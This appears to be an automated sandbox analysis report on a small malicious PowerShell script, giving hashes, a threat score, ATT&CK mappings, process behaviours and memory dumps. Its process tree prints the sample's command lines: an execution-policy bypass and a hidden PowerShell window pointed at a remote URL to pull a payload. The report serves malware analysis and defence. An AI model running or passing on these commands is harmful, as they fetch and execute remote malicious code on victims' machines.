78f6ec9bdda9c44122ae81fd6b0ac6f04e8c68166243dd3c77a7315d158b1c83

Analysis

max time kernel
94s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 01:21

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General

Target

78f6ec9bdda9c44122ae81fd6b0ac6f04e8c68166243dd3c77a7315d158b1c83.ps1
Size

185B
MD5

1168e44d288d2ce3f552e44dfb9ac65f
SHA1

8eb6f031fbc702a8f327e636c035f86da9b93f9e
SHA256

78f6ec9bdda9c44122ae81fd6b0ac6f04e8c68166243dd3c77a7315d158b1c83
SHA512

85d22b96ff5420dd4045c7254e1595c19dc54f4f9f788237f29d9988333b2c5bc1efb14b65908e49673774e18742669b71045b7019b677d9898b9979d151be90

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1484	powershell.exe
2240	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2240	powershell.exe
2240	powershell.exe
1484	powershell.exe
1484	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 1484	2240	powershell.exe	83
PID 2240 wrote to memory of 1484	2240	powershell.exe	83

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\78f6ec9bdda9c44122ae81fd6b0ac6f04e8c68166243dd3c77a7315d158b1c83.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -command = https://finalstepgetshere.com/uploads/b222.txt
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
43f4bec966ab901ac034fc136a642fa5

SHA1
8e7227cefec8b05c9a79b2751d1261187b9c0422

SHA256
09ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4

SHA512
a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m20h5y11.b11.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1484-24-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/1484-27-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/1484-22-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/1484-23-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/2240-7-0x0000028EA8830000-0x0000028EA8852000-memory.dmp

Filesize
136KB

Download
memory/2240-12-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/2240-32-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/2240-31-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download
memory/2240-0-0x00007FFFAC7B3000-0x00007FFFAC7B5000-memory.dmp

Filesize
8KB

Download
memory/2240-6-0x00007FFFAC7B0000-0x00007FFFAD271000-memory.dmp

Filesize
10.8MB

Download